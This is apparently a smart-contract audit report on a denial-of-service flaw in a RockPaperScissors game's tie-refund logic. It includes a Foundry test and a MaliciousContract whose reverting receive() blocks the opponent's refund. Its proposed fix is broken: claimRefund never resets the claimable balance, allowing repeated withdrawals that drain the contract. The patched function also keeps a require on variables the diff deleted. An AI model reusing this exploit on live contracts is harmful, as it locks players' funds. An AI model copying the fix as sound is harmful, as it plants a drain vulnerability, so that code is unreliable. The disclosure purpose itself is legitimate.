In an ETH game, during a tie scenario, both players are refunded their initial bets (minus protocol fees) in RockPaperScissors::_handleTie
. However, a malicious player can revert on receiving the ETH refund, thus preventing the opponent from receiving their rightful refunds. Additionally, the game state is unable to change to Finished
and the game is stuck. Since this issue causes the loss of the opponent's funds, this breaks the protocol intended functionality
function _handleTie(uint256 _gameId) internal {
Game storage game = games[_gameId];
game.state = GameState.Finished;
if (game.bet > 0) {
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
@> (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
@> (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
require(successA && successB, "Transfer failed");
}
if (game.bet == 0) {
winningToken.mint(game.playerA, 1);
winningToken.mint(game.playerB, 1);
}
emit GameFinished(_gameId, address(0), 0);
}
MaliciousContract maliciousContract;
function testDoSTieRefund() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.startPrank(playerB);
maliciousContract = new MaliciousContract(address(game));
address(maliciousContract).call{value: playerB.balance}("");
(,, uint256 betAmount,,,,,,,,,,,,,) = game.games(gameId);
maliciousContract.joinGameWithEth(gameId, betAmount);
vm.stopPrank();
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Scissors);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Paper);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Rock);
bytes memory playerAcalldata = abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", moveA, saltA);
vm.prank(playerB);
maliciousContract.flipTriggerRevert();
vm.prank(playerB);
maliciousContract.revealMove(gameId, uint8(moveB), saltB);
vm.expectRevert();
playerAReveal(gameId, moveA, saltA);
}
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
maliciousContract.commitMove(_gameId, commitB);
return(move, saltB);
}
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
maliciousContract.revealMove(_gameId, uint8(move), saltB);
}
contract MaliciousContract {
address game;
address owner;
bool triggerRevert;
constructor(address _game){
game = _game;
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "only owner can call this");
_;
}
function joinGameWithEth(uint256 _gameId, uint256 betAmount) external onlyOwner {
game.call{value: betAmount}(abi.encodeWithSignature("joinGameWithEth(uint256)", _gameId));
}
function commitMove(uint256 _gameId, bytes32 _commitHash) external onlyOwner {
game.call(abi.encodeWithSignature("commitMove(uint256,bytes32)", _gameId, _commitHash));
}
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external onlyOwner {
game.call(abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", _gameId, _move, _salt));
}
function flipTriggerRevert() external onlyOwner {
triggerRevert = !triggerRevert;
}
receive() external payable {
if (triggerRevert){
revert();
}
}
}
+ mapping(address => uint256) public claimable;
.
.
.
+ function claimRefund() public {
+ uint256 refundAmount = claimable[msg.sender];
+ (bool success,) = msg.sender.call{value: refundAmount}("");
+ require(success, "claimRefund failed");
+ }
.
.
.
function _handleTie(uint256 _gameId) internal {
Game storage game = games[_gameId];
game.state = GameState.Finished;
// Return ETH bets to both players, minus protocol fee
if (game.bet > 0) {
// Calculate protocol fee (10% of total pot)
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
// Accumulate fees for admin
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
// Refund both players
- (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
- (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
+ claimable[game.playerA] += refundPerPlayer;
+ claimable[game.playerB] += refundPerPlayer;
require(successA && successB, "Transfer failed");
}
// Return tokens for token games
if (game.bet == 0) {
winningToken.mint(game.playerA, 1);
winningToken.mint(game.playerB, 1);
}
// Since in a tie scenario, the total prize is split equally
emit GameFinished(_gameId, address(0), 0);
}